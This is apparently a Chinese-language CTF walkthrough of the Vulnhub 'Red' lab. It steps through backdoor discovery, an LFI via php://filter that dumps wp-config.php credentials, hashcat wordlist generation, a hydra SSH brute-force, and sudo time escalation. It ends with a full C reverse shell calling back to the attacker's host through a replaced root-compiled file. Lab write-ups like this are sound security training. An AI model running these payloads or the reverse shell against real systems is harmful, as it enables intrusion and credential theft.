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[Vulnhub]靶场 Red

news 来源：原创 2024/5/2 16:43:04

kali:192.168.56.104

主机发现

arp-scan -l

# arp-scan -l                             
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:ed:b4:24       PCS Systemtechnik GmbH
192.168.56.112  08:00:27:89:06:41       PCS Systemtechnik GmbH

靶机:192.168.56.112

端口扫描

nmap -p- 192.168.56.112

# nmap -p- 192.168.56.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 16:22 CST
Nmap scan report for 192.168.56.112
Host is up (0.00076s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

开启了22 80端口

进入web发现是个wordpress服务,并且提示由后门文件

源码里面发现了域名

<link rel='dns-prefetch' href='//redrocks.win' />

kali 添加hosts

192.168.56.112 redrocks.win

先扫一下目录，kali自带一个后门字典

gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

# gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://redrocks.win
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 422 / 423 (99.76%)
/NetworkFileManagerPHP.php (Status: 500) [Size: 0]

有个NetworkFileManagerPHP.php文件

fuzzu一下参数

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=123' -fs 0

爆破出来参数是key,并且发现可以LFI

直接包含NetworkFileManagerPHP.php失败，用php伪协议包含

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

base64解码

<?php$file = $_GET['key'];if(isset($file)){include("$file");}else{include("NetworkFileManagerPHP.php");}/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

注释由一段base64字符串，解码得到

That password alone won't help you! Hashcat says rules are rules

包含一下wp配置文件看看密码是什么

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php

<?php
/*** The base configuration for WordPress** The wp-config.php creation script uses this file during the installation.* You don't have to use the web site, you can copy this file to "wp-config.php"* and fill in the values.** This file contains the following configurations:** * MySQL settings* * Secret keys* * Database table prefix* * ABSPATH** @link https://wordpress.org/support/article/editing-wp-config-php/** @package WordPress*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );/** MySQL database username */
define( 'DB_USER', 'john' );/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );/** MySQL hostname */
define( 'DB_HOST', 'localhost' );/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );define('FS_METHOD', 'direct');define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');/**#@+* Authentication unique keys and salts.** Change these to different unique phrases! You can generate these using* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.** You can change these at any point in time to invalidate all existing cookies.* This will force all users to have to log in again.** @since 2.6.0*/
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');/**#@-*//*** WordPress database table prefix.** You can have multiple installations in one database if you give each* a unique prefix. Only numbers, letters, and underscores please!*/
$table_prefix = 'wp_';/*** For developers: WordPress debugging mode.** Change this to true to enable the display of notices during development.* It is strongly recommended that plugin and theme developers use WP_DEBUG* in their development environments.** For information on other constants that can be used for debugging,* visit the documentation.** @link https://wordpress.org/support/article/debugging-in-wordpress/*/
define( 'WP_DEBUG', false );/* Add any custom values between this line and the "stop editing" line. *//* That's all, stop editing! Happy publishing. *//** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {define( 'ABSPATH', __DIR__ . '/' );
}/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

用户名 john,密码R3v_m4lwh3r3_k1nG!!

ssh尝试连接,失败

提示Hashcat says rules are rules

用hashcat 里面的base64规则生成碰撞字典

password.txt里面是R3v_m4lwh3r3_k1nG!!，passwords.txt是利用base64规则生成的字典

hashcat --stdout password.txt -r /usr/share/hashcat/rules/best64.rule > passwords.txt

# hashcat --stdout password.txt -r /usr/share/hashcat/rules/best64.rule > passwords.txt┌──(root㉿kali2)-[~/Desktop]
└─# cat password     
cat: password: No such file or directory┌──(root㉿kali2)-[~/Desktop]
└─# cat passwords.txt
R3v_m4lwh3r3_k1nG!!
!!Gn1k_3r3hwl4m_v3R
R3V_M4LWH3R3_K1NG!!
r3v_m4lwh3r3_k1nG!!
R3v_m4lwh3r3_k1nG!!0
R3v_m4lwh3r3_k1nG!!1
....

然后用hydra爆破一下

hydra -l john -P passwords.txt 192.168.56.112 ssh

爆破出来密码是R3v_m4lwh3r3_k1nG!!00

在john目录下，发现一个note.txt，但是cat的时候却弹出vi的界面，根据提示，vi和cat指令互换

john@red:~$ sudo -l
Matching Defaults entries for john on red:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser john may run the following commands on red:(ippsec) NOPASSWD: /usr/bin/time

发现/usr/bin/time可以横向到ippsec

直接

sudo -u ippsec /usr/bin/time /bin/bash

ippsec@red:/var/www/wordpress/.git$ ls -al
ls -al
total 32
drwxrwx--- 2 root     ippsec    4096 Mar  3 09:48 .
drwxr-xr-x 6 www-data www-data  4096 Oct 31  2021 ..
-rwxr-xr-x 1 root     root     16712 Mar  3 09:48 rev
-rw-r--r-- 1 root     root       123 Oct 31  2021 supersecretfileuc.c

在/var/www/wordpress/.git发现有个后门程序

并且是root权限,rev文件是supersecretfileuc.c编译而成，会自动弹出那些干扰信息，删除rev没用，

删除后还会自动编译，但是可以替换supersecretfileuc.c，替换成反弹shell的c，编译执行的时候，rootshell就能反弹到kali上

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>int main(void){int port = 4567;struct sockaddr_in revsockaddr;int sockt = socket(AF_INET, SOCK_STREAM, 0);revsockaddr.sin_family = AF_INET;       revsockaddr.sin_port = htons(port);revsockaddr.sin_addr.s_addr = inet_addr("192.168.56.104");connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));dup2(sockt, 0);dup2(sockt, 1);dup2(sockt, 2);char * const argv[] = {"sh", NULL};execve("/bin/bash", argv, NULL);return 0;       
}

用wget从kali上获取

ippsec@red:/var/www/wordpress/.git$ wget http://192.168.56.104:6677/exp.c
wget http://192.168.56.104:6677/exp.c
--2024-03-03 09:53:54--  http://192.168.56.104:6677/exp.c
Connecting to 192.168.56.104:6677... connected.
HTTP request sent, awaiting response... 200 OK
Length: 669 [text/x-csrc]
Saving to: ‘exp.c’0K                                                       100% 74.4M=0s2024-03-03 09:53:54 (74.4 MB/s) - ‘exp.c’ saved [669/669]ippsec@red:/var/www/wordpress/.git$ ippsec@red:/var/www/wordpress/.git$ ls 
ls 
exp.c
rev
supersecretfileuc.c

然后删除原来的c程序和rev

ippsec@red:/var/www/wordpress/.git$ rm supersecretfileuc.c
rm supersecretfileuc.c
ippsec@red:/var/www/wordpress/.git$ rm rev
rm rev
ippsec@red:/var/www/wordpress/.git$ mv exp.c supersecretfileuc.c
mv exp.c supersecretfileuc.c
ippsec@red:/var/www/wordpress/.git$ ls 
ls 
supersecretfileuc.c

编译不编译无所谓，我这里顺便编译了一下

gcc supersecretfileuc.c -o rev

kali开个监听端口就能弹回rootshell

# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.112] 51414
whoami
root
cd /root
ls
defense
root.txt
snap

这靶场有点恶心，一直断开连接，我连了n次才完成。

总结1.后门文件扫描

2.参数fuzz

3.hashcat生成字典

4.time提权

5.文件名劫持